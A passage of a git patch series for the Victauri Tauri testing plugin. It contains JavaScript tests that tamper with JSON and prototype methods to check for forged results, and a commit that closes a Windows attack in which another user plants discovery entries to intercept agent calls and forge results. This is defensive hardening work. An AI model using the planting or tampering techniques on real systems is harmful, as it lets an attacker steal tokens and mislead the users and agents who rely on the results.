+fn r5b_pristine1_ipc_bodies_are_parsed_with_the_captured_json() { + let def = def( + None, + vec![case( + "a replaced JSON.parse does not forge captured args / results", + r#" + var V = window.__VICTAURI__; + var realParse = JSON.parse; + JSON.parse = function() { return { forged: true }; }; + try { + await fetch('http://ipc.localhost/transfer', { + method: 'POST', body: '{"amount":10}', + headers: { 'x-vtest-body': '{"ok":true}' } + }); + await new Promise(function(r) { setTimeout(r, 30); }); + } finally { JSON.parse = realParse; } + var e = V.getIpcLog(1)[0]; + return { args: e.args, result: e.result }; + "#, + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + assert_eq!(r["args"], serde_json::json!({"amount": 10}), "{r}"); + assert_eq!(r["result"], serde_json::json!({"ok": true}), "{r}"); +} + +/// The in-app `victauri_eval_js` command's script serialized the result (and built the +/// callback args) with the page's `JSON` and plain objects: a page `Object.prototype.toJSON` +/// that throws made every page-originated eval hang until its timeout, and a replaced +/// `JSON.stringify` forged its result. It now serializes like the agent eval path (R5-JS2). +#[test] +fn r5b_pristine1_page_eval_is_robust_to_page_json_tampering() { + use victauri_plugin::js_bridge::page_eval_script; + let scripts = [ + ("obj", page_eval_script("\"p-obj\"", "return {a: 1}")), + ("undef", page_eval_script("\"p-undef\"", "return undefined")), + ( + "thr", + page_eval_script("\"p-thr\"", "throw new Error('boom')"), + ), + ( + "circ", + page_eval_script("\"p-circ\"", "var o = {}; o.o = o; return o"), + ), + ("forge", page_eval_script("\"p-forge\"", "return {b: 2}")), + ( + "tojson", + page_eval_script("\"p-tojson\"", "return {c: [3]}"), + ), + ]; + // A Tauri-like invoke: serializes the args with the native JSON.stringify (captured before + // the test tampers with the global), which still consults a planted `toJSON`. + let mut setup = String::from( + r" + var __JS = JSON.stringify, __JP = JSON.parse; + window.__got = {}; + window.__TAURI_INTERNALS__ = { invoke: function(cmd, args) { + var a = __JP(__JS(args)); + window.__got[a.id] = a.result; + return Promise.resolve(null); + } }; + ", + ); + setup.push_str(&scripts_js(&scripts)); + let def = def( + Some(setup), + vec![case( + "results arrive despite a throwing toJSON / replaced stringify", + r#" + function sleep(ms) { return new Promise(function(r) { setTimeout(r, ms); }); } + Object.defineProperty(Object.prototype, 'toJSON', { + configurable: true, value: function() { throw new Error('page toJSON'); } + }); + try { + (0, eval)(__S.obj); + (0, eval)(__S.undef); + (0, eval)(__S.thr); + (0, eval)(__S.circ); + await sleep(30); + } finally { delete Object.prototype.toJSON; } + var realStringify = JSON.stringify; + JSON.stringify = function() { return '"forged"'; }; + try { (0, eval)(__S.forge); await sleep(30); } + finally { JSON.stringify = realStringify; } + // A forging (non-throwing) universal toJSON is ignored, as for agent evals. + Object.defineProperty(Object.prototype, 'toJSON', { + configurable: true, value: function() { return 'forged'; } + }); + Array.prototype.toJSON = function() { return 'forged'; }; + try { (0, eval)(__S.tojson); await sleep(30); } + finally { delete Object.prototype.toJSON; delete Array.prototype.toJSON; } + return window.__got; + "#, + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + // A throwing universal toJSON: reported (like an agent eval's "unserializable"), never + // left to hang until the timeout as before. + for id in ["p-obj", "p-circ"] { + assert!( + r[id] + .as_str() + .is_some_and(|s| s.starts_with("{\"__error\":")), + "{id}: {r}" + ); + } + assert_eq!(r["p-undef"], "null", "{r}"); + assert_eq!(r["p-thr"], "{\"__error\":\"boom\"}", "{r}"); + assert_eq!(r["p-forge"], "{\"b\":2}", "{r}"); + assert_eq!(r["p-tojson"], "{\"c\":[3]}", "{r}"); +} From 806f33d64f651309fd1d53671484244538d2a57a Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 04:22:24 +1000 Subject: [PATCH 161/167] fix(discovery): Windows readers trust only discovery dirs the user owns (R5B-WINDISC1) On Windows every discovery reader trusted any directory under `%TEMP%\victauri`. When TEMP is shared (an app launched from MSYS2 uses `C:\msys64\tmp`; a redirected `C:\Windows\Temp`), another user could plant `victauri\\{port,token,metadata.json}` pointing at a port they control, and clients sent it agent calls and accepted forged results. Readers now trust a root or `` directory on Windows only if it is a real directory (no symlink/junction) whose owner SID is the token user, the token's default owner, or BUILTIN\Administrators when this token is a member (enabled or deny-only) -- the plugin writer's `acceptable_owner_sids` rule incl. 659e353: - victauri-test: `process::dir_owned_by_current_user` (GetNamedSecurityInfoW + token SIDs, next to the existing Win32 liveness code); discovery.rs uses it. - CLI bridge: calls victauri-test's check (the crate forbids unsafe); the documented "Windows ACL residual" is closed. - watchdog: the same check in its process.rs copy. - VS Code: TypeScript cannot call Win32, so a directory outside the user profile is checked with one batched `Get-Acl` PowerShell call (absolute powershell.exe path, paths passed via env, 10 s timeout, fails closed), cached per directory identity (inode + birth time). A directory inside the profile (the default %LOCALAPPDATA%\Temp) needs no check: Windows grants no other non-admin user access to a profile, so it costs no process spawn. Tests (Windows; SYSTEM stands in for "another user" via `icacls /setowner`, skipped when not elevated): planted entry and planted root refused in each reader; our own entries still found. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/bridge.rs | 59 ++++++-- crates/victauri-test/Cargo.toml | 5 +- crates/victauri-test/src/discovery.rs | 62 ++++++++- crates/victauri-test/src/process.rs | 158 +++++++++++++++++++++- crates/victauri-watchdog/Cargo.toml | 4 +- crates/victauri-watchdog/src/main.rs | 51 ++++++- crates/victauri-watchdog/src/process.rs | 137 ++++++++++++++++++- editors/vscode/CHANGELOG.md | 9 ++ editors/vscode/README.md | 2 +- editors/vscode/src/discovery.ts | 172 ++++++++++++++++++++---- editors/vscode/test/discovery.test.ts | 41 ++++++ 11 files changed, 648 insertions(+), 52 deletions(-) diff --git a/crates/victauri-cli/src/bridge.rs b/crates/victauri-cli/src/bridge.rs index 004042d2..b158f07d 100644 --- a/crates/victauri-cli/src/bridge.rs +++ b/crates/victauri-cli/src/bridge.rs @@ -1632,16 +1632,21 @@ fn uid_from_exclusive_probe(probe: &std::path::Path) -> Option { uid } -/// On Windows the default per-user temp dir (`%LOCALAPPDATA%\Temp`) is not world-writable, so the -/// shared-temp planting attack that `dir_is_trusted` defends against on Unix does not apply; trust -/// the directory. -/// -/// HONEST CAVEAT (documented residual): this is an ASSUMPTION, not a verified ACL check. If a -/// machine redirects `TEMP`/`TMP` to a shared location (e.g. `C:\Windows\Temp` or a multi-user -/// spool), a cross-user discovery-dir planting attack is unguarded on Windows. Closing it would -/// require a Windows ownership/ACL check here (non-trivial under `#![forbid(unsafe_code)]`); -/// deferred as a non-default-config, Windows-only residual. -#[cfg(not(unix))] +/// Windows: trust a discovery directory only if it is a real directory (a symlink or junction +/// is not `is_dir()` under `symlink_metadata`) OWNED by the current user — its owner SID is the +/// token user, the token's default owner, or `BUILTIN\Administrators` when this token is a +/// member, the plugin writer's own rule — via victauri-test's check (this crate forbids +/// `unsafe`). `%TEMP%` is normally per-user, but a shared one (`C:\msys64\tmp` for an app +/// launched from MSYS2, a redirected `C:\Windows\Temp`) let another user plant +/// `victauri\\` entries pointing at a port they control; the bridge then sent them +/// the agent's calls and relayed forged results. That residual is closed (R5B-WINDISC1). +#[cfg(windows)] +fn dir_is_trusted(path: &std::path::Path) -> bool { + std::fs::symlink_metadata(path).is_ok_and(|m| m.is_dir()) + && victauri_test::process::dir_owned_by_current_user(path) +} + +#[cfg(not(any(unix, windows)))] fn dir_is_trusted(_path: &std::path::Path) -> bool { true } @@ -2194,6 +2199,40 @@ mod tests { let _ = std::fs::remove_dir_all(&base); } + /// R5B-WINDISC1: a `` directory (or a whole root) owned by another account — SYSTEM + /// stands in, which needs an elevated run to set up — is never read. + #[cfg(windows)] + #[test] + fn windows_discovery_ignores_directories_owned_by_another_account() { + let give_to_system = |p: &std::path::Path| { + std::process::Command::new("icacls") + .arg(p) + .args(["/setowner", "*S-1-5-18", "/q"]) + .output() + .is_ok_and(|o| o.status.success()) + }; + let root = tempfile::tempdir().unwrap(); + for pid in ["21", "22"] { + let dir = root.path().join(pid); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("port"), "7373").unwrap(); + std::fs::write(dir.join("token"), format!("tok-{pid}")).unwrap(); + } + if !give_to_system(&root.path().join("22")) { + eprintln!("skipped: cannot change a directory's owner (not elevated)"); + return; + } + let mut out = Vec::new(); + discover_entries_in(root.path(), &mut out); + let pids: Vec = out.iter().map(|(pid, _)| *pid).collect(); + assert_eq!(pids, [21], "a planted entry's token must never be read"); + + assert!(give_to_system(root.path())); + let mut out = Vec::new(); + discover_entries_in(root.path(), &mut out); + assert!(out.is_empty(), "nothing under a foreign root is trusted"); + } + /// R5-BR3: only a request (method + id) is owed a reply. #[test] fn only_requests_expect_a_reply() { diff --git a/crates/victauri-test/Cargo.toml b/crates/victauri-test/Cargo.toml index 400fd95f..47534cd1 100644 --- a/crates/victauri-test/Cargo.toml +++ b/crates/victauri-test/Cargo.toml @@ -29,8 +29,9 @@ base64 = "0.22" uuid = { workspace = true } [target.'cfg(windows)'.dependencies] -# Process liveness + owner check for discovery (`process.rs`), instead of spawning tasklist. -windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Threading"] } +# Process liveness + owner check for discovery, and the discovery-directory owner check +# (`process.rs`), instead of spawning tasklist. +windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_Security_Authorization", "Win32_System_Threading"] } [dev-dependencies] axum = { workspace = true } diff --git a/crates/victauri-test/src/discovery.rs b/crates/victauri-test/src/discovery.rs index ffaa371e..9b7fdc45 100644 --- a/crates/victauri-test/src/discovery.rs +++ b/crates/victauri-test/src/discovery.rs @@ -78,8 +78,7 @@ fn real_discovery_roots() -> Vec { /// root (e.g. `/tmp`) is world-writable, so an attacker can plant a fake `` /// dir pointing at a server they control to steal the token / forge results. We /// trust a dir only if it is a real directory (not a symlink), owned by the current -/// effective user, and not group/other-writable. On Windows the temp dir is already -/// per-user, and the writer restricts ACLs via `icacls`, so no extra check is needed. +/// effective user, and not group/other-writable. (Windows has its own owner check below.) #[cfg(unix)] fn dir_is_trusted(path: &std::path::Path) -> bool { use std::os::unix::fs::{MetadataExt, PermissionsExt}; @@ -130,7 +129,18 @@ fn uid_from_exclusive_probe(probe: &std::path::Path) -> Option { uid } -#[cfg(not(unix))] +/// Windows: a real directory (a symlink or junction is not `is_dir()` under +/// `symlink_metadata`) OWNED by the current user (see +/// [`crate::process::dir_owned_by_current_user`]). `%TEMP%` is normally per-user, but it can +/// be shared (an app launched from MSYS2 uses `C:\msys64\tmp`), where another user could +/// plant `victauri\\` entries pointing at a port they control (R5B-WINDISC1). +#[cfg(windows)] +fn dir_is_trusted(path: &std::path::Path) -> bool { + std::fs::symlink_metadata(path).is_ok_and(|m| m.is_dir()) + && crate::process::dir_owned_by_current_user(path) +} + +#[cfg(not(any(unix, windows)))] fn dir_is_trusted(_path: &std::path::Path) -> bool { true } @@ -996,6 +1006,52 @@ mod tests { assert_eq!(resolve_from(None, None, None, &[]), Ok((7373, None))); } + /// Hand `path` to `NT AUTHORITY\SYSTEM` — the stand-in for "another user" (needs an + /// elevated test run; `false` when that is not possible, and the caller skips). + #[cfg(windows)] + fn give_to_system(path: &std::path::Path) -> bool { + std::process::Command::new("icacls") + .arg(path) + .args(["/setowner", "*S-1-5-18", "/q"]) + .output() + .is_ok_and(|o| o.status.success()) + } + + /// R5B-WINDISC1: on a shared TEMP another user can plant `victauri\\…`; the + /// readers must refuse a root or entry directory this user does not own. + #[cfg(windows)] + #[test] + fn windows_discovery_refuses_directories_owned_by_another_user() { + let write_entry = |base: &std::path::Path, pid: &str| { + let dir = base.join(pid); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("port"), "7373").unwrap(); + std::fs::write(dir.join("token"), format!("tok-{pid}")).unwrap(); + dir + }; + // A planted entry in a root we own. + let base = tempfile::tempdir().unwrap(); + write_entry(base.path(), "10"); + let planted = write_entry(base.path(), "11"); + if !give_to_system(&planted) { + eprintln!("skipped: cannot change a directory's owner (not elevated)"); + return; + } + let servers = find_live_servers_in(base.path(), |_| Liveness::Own, |_| true); + let pids: Vec = servers.iter().map(|s| s.pid).collect(); + assert_eq!(pids, [10], "the planted entry's token must never be used"); + assert!( + planted.exists(), + "a foreign directory is never deleted either" + ); + + // A planted ROOT: nothing under it is trusted, even entries we own. + let root = tempfile::tempdir().unwrap(); + write_entry(root.path(), "12"); + assert!(give_to_system(root.path())); + assert!(find_live_servers_in(root.path(), |_| Liveness::Own, |_| true).is_empty()); + } + /// R5B-PORTAPP1: an explicit port and an app selector must agree. #[test] fn an_explicit_port_and_a_disagreeing_app_selector_are_refused() { diff --git a/crates/victauri-test/src/process.rs b/crates/victauri-test/src/process.rs index d73c4370..b58ccd29 100644 --- a/crates/victauri-test/src/process.rs +++ b/crates/victauri-test/src/process.rs @@ -58,16 +58,34 @@ pub fn is_own_live_process(pid: u32) -> bool { liveness(pid) == Liveness::Own } +/// Windows: whether the directory at `path` is OWNED by the current user — its owner SID is +/// the token user, the token's default owner, or `BUILTIN\Administrators` when this token is a +/// member (the plugin writer's rule). Discovery readers trust a root or `` directory only +/// when this holds: on a shared `TEMP` (e.g. `C:\msys64\tmp`) another user could otherwise +/// plant `victauri\\{port,token,metadata.json}` pointing at a port they control +/// and receive agent calls (R5B-WINDISC1). `false` when the owner cannot be read. +#[cfg(windows)] +#[doc(hidden)] +#[must_use] +pub fn dir_owned_by_current_user(path: &std::path::Path) -> bool { + imp::dir_owned_by_current_user(path) +} + #[cfg(windows)] #[allow(unsafe_code)] mod imp { use std::ffi::c_void; use windows_sys::Win32::Foundation::{ - CloseHandle, ERROR_ACCESS_DENIED, ERROR_INVALID_PARAMETER, GetLastError, HANDLE, - STILL_ACTIVE, + CloseHandle, ERROR_ACCESS_DENIED, ERROR_INVALID_PARAMETER, ERROR_SUCCESS, GetLastError, + HANDLE, LocalFree, STILL_ACTIVE, + }; + use windows_sys::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT}; + use windows_sys::Win32::Security::{ + CreateWellKnownSid, EqualSid, GetTokenInformation, OWNER_SECURITY_INFORMATION, + SECURITY_MAX_SID_SIZE, TOKEN_GROUPS, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, TokenGroups, + TokenOwner, TokenUser, WinBuiltinAdministratorsSid, }; - use windows_sys::Win32::Security::{EqualSid, GetTokenInformation, TOKEN_QUERY, TokenUser}; use windows_sys::Win32::System::Threading::{ GetCurrentProcess, GetExitCodeProcess, OpenProcess, OpenProcessToken, PROCESS_QUERY_LIMITED_INFORMATION, @@ -120,6 +138,120 @@ mod imp { unsafe { *buf.as_ptr().cast::<*mut c_void>() } } + /// The current process token's information of `class`, as a raw (8-aligned) buffer. + fn own_token_info(class: TOKEN_INFORMATION_CLASS) -> Option> { + let mut token: HANDLE = std::ptr::null_mut(); + // SAFETY: the pseudo-handle of the current process is always valid; `token` is a valid + // out-pointer, closed by `Handle` below. + if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) } == 0 { + return None; + } + let token = Handle(token); + let mut len = 0u32; + // SAFETY: a null buffer of length 0 is the documented size probe; `len` is valid. + unsafe { GetTokenInformation(token.0, class, std::ptr::null_mut(), 0, &mut len) }; + if len == 0 { + return None; + } + let mut buf = vec![0u64; (len as usize).div_ceil(8)]; + // SAFETY: `buf` is at least `len` bytes and 8-aligned (the structures hold pointers). + let ok = unsafe { + GetTokenInformation( + token.0, + class, + buf.as_mut_ptr().cast::(), + len, + &mut len, + ) + }; + (ok != 0).then_some(buf) + } + + /// Whether `owner` is a SID this process legitimately owns objects as — mirrors the plugin + /// writer's `acceptable_owner_sids` (incl. commit 659e353): the token USER, the token's + /// default OWNER (the `BUILTIN\Administrators` group under elevation), and + /// `BUILTIN\Administrators` whenever this token lists it among its groups (enabled or + /// deny-only) — an app started elevated creates the root owned by that group, and a later + /// unelevated app/client of the same user must still accept it. + fn is_acceptable_owner(owner: *mut c_void) -> bool { + let eq = |sid: *mut c_void| { + // SAFETY: both are valid SIDs for the duration of the call. + unsafe { EqualSid(owner, sid) != 0 } + }; + // TOKEN_USER and TOKEN_OWNER both lead with the SID pointer. + if [TokenUser, TokenOwner] + .into_iter() + .filter_map(own_token_info) + .any(|buf| eq(sid(&buf))) + { + return true; + } + let mut admins = [0u8; SECURITY_MAX_SID_SIZE as usize]; + let mut admins_len = SECURITY_MAX_SID_SIZE; + // SAFETY: `admins` is writable for `admins_len` bytes, the documented maximum SID size. + let created = unsafe { + CreateWellKnownSid( + WinBuiltinAdministratorsSid, + std::ptr::null_mut(), + admins.as_mut_ptr().cast::(), + &mut admins_len, + ) + }; + if created == 0 || !eq(admins.as_mut_ptr().cast::()) { + return false; + } + let Some(groups) = own_token_info(TokenGroups) else { + return false; + }; + if groups.len() * 8 < std::mem::size_of::() { + return false; + } + // SAFETY: `groups` holds a TOKEN_GROUPS whose `Groups` array has `GroupCount` entries, + // all within the buffer GetTokenInformation filled. + unsafe { + let tg = &*groups.as_ptr().cast::(); + std::slice::from_raw_parts(tg.Groups.as_ptr(), tg.GroupCount as usize) + .iter() + .any(|g| EqualSid(g.Sid, admins.as_mut_ptr().cast::()) != 0) + } + } + + /// Frees a `LocalAlloc`'d block on drop. + struct Local(*mut c_void); + + impl Drop for Local { + fn drop(&mut self) { + // SAFETY: `self.0` was allocated by the OS for us (LocalAlloc) and is freed once. + unsafe { LocalFree(self.0) }; + } + } + + pub(super) fn dir_owned_by_current_user(path: &std::path::Path) -> bool { + use std::os::windows::ffi::OsStrExt; + let wide: Vec = path.as_os_str().encode_wide().chain(Some(0)).collect(); + let mut owner: *mut c_void = std::ptr::null_mut(); + let mut sd: *mut c_void = std::ptr::null_mut(); + // SAFETY: `wide` is NUL-terminated; only the owner is requested; `owner` points into + // `sd`, which the OS allocates and `Local` frees. + let rc = unsafe { + GetNamedSecurityInfoW( + wide.as_ptr(), + SE_FILE_OBJECT, + OWNER_SECURITY_INFORMATION, + &mut owner, + std::ptr::null_mut(), + std::ptr::null_mut(), + std::ptr::null_mut(), + &mut sd, + ) + }; + if rc != ERROR_SUCCESS || sd.is_null() { + return false; + } + let _sd = Local(sd); + !owner.is_null() && is_acceptable_owner(owner) + } + pub(super) fn liveness(pid: u32) -> Liveness { if pid == 0 { return Liveness::Dead; @@ -332,6 +464,26 @@ mod tests { assert_ne!(l, Liveness::Own); } + /// R5B-WINDISC1: the owner check accepts what this process creates and refuses a + /// directory owned by another account (SYSTEM stands in; needs elevation to set up). + #[cfg(windows)] + #[test] + fn a_directory_owned_by_another_account_is_not_ours() { + let dir = tempfile::tempdir().unwrap(); + assert!(dir_owned_by_current_user(dir.path())); + assert!(!dir_owned_by_current_user(&dir.path().join("missing"))); + let set = std::process::Command::new("icacls") + .arg(dir.path()) + .args(["/setowner", "*S-1-5-18", "/q"]) + .output() + .is_ok_and(|o| o.status.success()); + if !set { + eprintln!("skipped: cannot change a directory's owner (not elevated)"); + return; + } + assert!(!dir_owned_by_current_user(dir.path())); + } + /// R4-DISC1: with no `kill` binary at all (NixOS/Guix/minimal containers), a live PID /// must still read as live — via the shell builtin, then `/proc`, else "unknown" — and /// never as dead. diff --git a/crates/victauri-watchdog/Cargo.toml b/crates/victauri-watchdog/Cargo.toml index 105f127c..70b30018 100644 --- a/crates/victauri-watchdog/Cargo.toml +++ b/crates/victauri-watchdog/Cargo.toml @@ -30,8 +30,8 @@ reqwest = { version = "0.12", default-features = false, features = ["rustls-tls" serde_json = { workspace = true } [target.'cfg(windows)'.dependencies] -# Process liveness + owner check (`process.rs`), instead of spawning tasklist. -windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_System_Threading"] } +# Process liveness + owner check, and the discovery-directory owner check (`process.rs`). +windows-sys = { version = "0.59", features = ["Win32_Foundation", "Win32_Security", "Win32_Security_Authorization", "Win32_System_Threading"] } [dev-dependencies] tempfile = "3" diff --git a/crates/victauri-watchdog/src/main.rs b/crates/victauri-watchdog/src/main.rs index 836006b5..5e44c769 100644 --- a/crates/victauri-watchdog/src/main.rs +++ b/crates/victauri-watchdog/src/main.rs @@ -383,10 +383,18 @@ fn uid_from_exclusive_probe(probe: &Path) -> Option { uid } -/// Windows temp is per-user and the plugin restricts the discovery dir's ACL to the -/// current user; still reject symlinks/junctions (a reparse point is not `is_dir()` under -/// `symlink_metadata`). -#[cfg(not(unix))] +/// Windows: a real directory (a symlink or junction is not `is_dir()` under `symlink_metadata`) +/// OWNED by the current user — the token user, the token's default owner, or +/// `BUILTIN\Administrators` when this token is a member (the plugin writer's rule). `%TEMP%` is +/// normally per-user, but a shared one (`C:\msys64\tmp`) let another user plant an entry that +/// pointed the watchdog at a port they control (R5B-WINDISC1). +#[cfg(windows)] +fn dir_is_trusted(path: &Path) -> bool { + std::fs::symlink_metadata(path).is_ok_and(|m| m.is_dir()) + && process::dir_owned_by_current_user(path) +} + +#[cfg(not(any(unix, windows)))] fn dir_is_trusted(path: &Path) -> bool { std::fs::symlink_metadata(path).is_ok_and(|m| m.is_dir()) } @@ -1112,6 +1120,41 @@ mod tests { )); } + /// R5B-WINDISC1: a directory owned by another account (SYSTEM stands in; setting that + /// up needs an elevated run) is never followed. + #[cfg(windows)] + #[test] + fn windows_entries_owned_by_another_account_are_ignored() { + let give_to_system = |p: &Path| { + std::process::Command::new("icacls") + .arg(p) + .args(["/setowner", "*S-1-5-18", "/q"]) + .output() + .is_ok_and(|o| o.status.success()) + }; + let tmp = tempfile::tempdir().unwrap(); + write_entry(tmp.path(), 100, "7373", Some("com.a")); + if !give_to_system(&tmp.path().join("100")) { + eprintln!("skipped: cannot change a directory's owner (not elevated)"); + return; + } + assert_eq!( + discover_in(tmp.path(), &Selector::Any, |_| true), + Discovery::None + ); + let base = tempfile::tempdir().unwrap(); + write_entry(base.path(), 300, "7375", Some("com.c")); + assert!(matches!( + discover_in(base.path(), &Selector::Any, |_| true), + Discovery::Found(_) + )); + assert!(give_to_system(base.path())); + assert_eq!( + discover_in(base.path(), &Selector::Any, |_| true), + Discovery::None + ); + } + #[cfg(unix)] #[test] fn trust_requires_ownership_by_current_user() { diff --git a/crates/victauri-watchdog/src/process.rs b/crates/victauri-watchdog/src/process.rs index 3b965399..c501d11b 100644 --- a/crates/victauri-watchdog/src/process.rs +++ b/crates/victauri-watchdog/src/process.rs @@ -60,16 +60,33 @@ pub fn is_own_live_process(pid: u32) -> bool { liveness(pid) == Liveness::Own } +/// Windows: whether the directory at `path` is OWNED by the current user — its owner SID is +/// the token user, the token's default owner, or `BUILTIN\Administrators` when this token is a +/// member (the plugin writer's rule). Discovery readers trust a root or `` directory only +/// when this holds: on a shared `TEMP` (e.g. `C:\msys64\tmp`) another user could otherwise +/// plant `victauri\\{port,token,metadata.json}` pointing at a port they control +/// and receive agent calls (R5B-WINDISC1). `false` when the owner cannot be read. +#[cfg(windows)] +#[must_use] +pub fn dir_owned_by_current_user(path: &std::path::Path) -> bool { + imp::dir_owned_by_current_user(path) +} + #[cfg(windows)] #[allow(unsafe_code)] mod imp { use std::ffi::c_void; use windows_sys::Win32::Foundation::{ - CloseHandle, ERROR_ACCESS_DENIED, ERROR_INVALID_PARAMETER, GetLastError, HANDLE, - STILL_ACTIVE, + CloseHandle, ERROR_ACCESS_DENIED, ERROR_INVALID_PARAMETER, ERROR_SUCCESS, GetLastError, + HANDLE, LocalFree, STILL_ACTIVE, + }; + use windows_sys::Win32::Security::Authorization::{GetNamedSecurityInfoW, SE_FILE_OBJECT}; + use windows_sys::Win32::Security::{ + CreateWellKnownSid, EqualSid, GetTokenInformation, OWNER_SECURITY_INFORMATION, + SECURITY_MAX_SID_SIZE, TOKEN_GROUPS, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, TokenGroups, + TokenOwner, TokenUser, WinBuiltinAdministratorsSid, }; - use windows_sys::Win32::Security::{EqualSid, GetTokenInformation, TOKEN_QUERY, TokenUser}; use windows_sys::Win32::System::Threading::{ GetCurrentProcess, GetExitCodeProcess, OpenProcess, OpenProcessToken, PROCESS_QUERY_LIMITED_INFORMATION, @@ -122,6 +139,120 @@ mod imp { unsafe { *buf.as_ptr().cast::<*mut c_void>() } } + /// The current process token's information of `class`, as a raw (8-aligned) buffer. + fn own_token_info(class: TOKEN_INFORMATION_CLASS) -> Option> { + let mut token: HANDLE = std::ptr::null_mut(); + // SAFETY: the pseudo-handle of the current process is always valid; `token` is a valid + // out-pointer, closed by `Handle` below. + if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) } == 0 { + return None; + } + let token = Handle(token); + let mut len = 0u32; + // SAFETY: a null buffer of length 0 is the documented size probe; `len` is valid. + unsafe { GetTokenInformation(token.0, class, std::ptr::null_mut(), 0, &mut len) }; + if len == 0 { + return None; + } + let mut buf = vec![0u64; (len as usize).div_ceil(8)]; + // SAFETY: `buf` is at least `len` bytes and 8-aligned (the structures hold pointers). + let ok = unsafe { + GetTokenInformation( + token.0, + class, + buf.as_mut_ptr().cast::(), + len, + &mut len, + ) + }; + (ok != 0).then_some(buf) + } + + /// Whether `owner` is a SID this process legitimately owns objects as — mirrors the plugin + /// writer's `acceptable_owner_sids` (incl. commit 659e353): the token USER, the token's + /// default OWNER (the `BUILTIN\Administrators` group under elevation), and + /// `BUILTIN\Administrators` whenever this token lists it among its groups (enabled or + /// deny-only) — an app started elevated creates the root owned by that group, and a later + /// unelevated app/client of the same user must still accept it. + fn is_acceptable_owner(owner: *mut c_void) -> bool { + let eq = |sid: *mut c_void| { + // SAFETY: both are valid SIDs for the duration of the call. + unsafe { EqualSid(owner, sid) != 0 } + }; + // TOKEN_USER and TOKEN_OWNER both lead with the SID pointer. + if [TokenUser, TokenOwner] + .into_iter() + .filter_map(own_token_info) + .any(|buf| eq(sid(&buf))) + { + return true; + } + let mut admins = [0u8; SECURITY_MAX_SID_SIZE as usize]; + let mut admins_len = SECURITY_MAX_SID_SIZE; + // SAFETY: `admins` is writable for `admins_len` bytes, the documented maximum SID size. + let created = unsafe { + CreateWellKnownSid( + WinBuiltinAdministratorsSid, + std::ptr::null_mut(), + admins.as_mut_ptr().cast::(), + &mut admins_len, + ) + }; + if created == 0 || !eq(admins.as_mut_ptr().cast::()) { + return false; + } + let Some(groups) = own_token_info(TokenGroups) else { + return false; + }; + if groups.len() * 8 < std::mem::size_of::() { + return false; + } + // SAFETY: `groups` holds a TOKEN_GROUPS whose `Groups` array has `GroupCount` entries, + // all within the buffer GetTokenInformation filled. + unsafe { + let tg = &*groups.as_ptr().cast::(); + std::slice::from_raw_parts(tg.Groups.as_ptr(), tg.GroupCount as usize) + .iter() + .any(|g| EqualSid(g.Sid, admins.as_mut_ptr().cast::()) != 0) + } + } + + /// Frees a `LocalAlloc`'d block on drop. + struct Local(*mut c_void); + + impl Drop for Local { + fn drop(&mut self) { + // SAFETY: `self.0` was allocated by the OS for us (LocalAlloc) and is freed once. + unsafe { LocalFree(self.0) }; + } + } + + pub(super) fn dir_owned_by_current_user(path: &std::path::Path) -> bool { + use std::os::windows::ffi::OsStrExt; + let wide: Vec = path.as_os_str().encode_wide().chain(Some(0)).collect(); + let mut owner: *mut c_void = std::ptr::null_mut(); + let mut sd: *mut c_void = std::ptr::null_mut(); + // SAFETY: `wide` is NUL-terminated; only the owner is requested; `owner` points into + // `sd`, which the OS allocates and `Local` frees. + let rc = unsafe { + GetNamedSecurityInfoW( + wide.as_ptr(), + SE_FILE_OBJECT, + OWNER_SECURITY_INFORMATION, + &mut owner, + std::ptr::null_mut(), + std::ptr::null_mut(), + std::ptr::null_mut(), + &mut sd, + ) + }; + if rc != ERROR_SUCCESS || sd.is_null() { + return false; + } + let _sd = Local(sd); + !owner.is_null() && is_acceptable_owner(owner) + } + pub(super) fn liveness(pid: u32) -> Liveness { if pid == 0 { return Liveness::Dead; diff --git a/editors/vscode/CHANGELOG.md b/editors/vscode/CHANGELOG.md index bbc1a33f..6dae7788 100644 --- a/editors/vscode/CHANGELOG.md +++ b/editors/vscode/CHANGELOG.md @@ -6,6 +6,15 @@ All notable changes to the Victauri VS Code extension will be documented in this Version-synced with the Victauri 0.9.0 release. Extension changes: +- **A discovery entry planted by another Windows user is no longer trusted.** Discovery + trusted every directory under `%TEMP%\victauri` on Windows. When `TEMP` is shared (an app + launched from MSYS2 uses `C:\msys64\tmp`), another user could plant + `victauri\\{port,token}` pointing at a port they control and receive the + extension's requests. A discovery directory outside your user profile is now used only if + you own it (or `BUILTIN\Administrators` does and you are a member — the plugin's own rule), + checked with one batched, cached `Get-Acl` call (10 s timeout; it fails closed). The default + `%LOCALAPPDATA%\Temp`, inside your profile, needs no check: Windows gives no other + non-admin user access to a profile. - **The auth token stops following a port its app no longer owns.** The extension resolved the port and token once and then sent the token to that port every poll, forever — after the app exited, any local process that bound the port received it. Before each token-bearing diff --git a/editors/vscode/README.md b/editors/vscode/README.md index fa378cb7..924b336e 100644 --- a/editors/vscode/README.md +++ b/editors/vscode/README.md @@ -90,7 +90,7 @@ The plugin is gated behind `#[cfg(debug_assertions)]`, so `init()` is a no-op in - A Tauri 2.x app with [victauri-plugin](https://crates.io/crates/victauri-plugin) enabled - The plugin starts an HTTP server on `127.0.0.1:7373` that this extension connects to -- Port discovery reads the per-process discovery directory (`%TEMP%\victauri\\` on Windows; `$XDG_RUNTIME_DIR/victauri//` or `/victauri-//` on Unix, plus the legacy `/victauri/`) — trusted entries owned by a live process of yours only — if the default port is taken +- Port discovery reads the per-process discovery directory (`%TEMP%\victauri\\` on Windows; `$XDG_RUNTIME_DIR/victauri//` or `/victauri-//` on 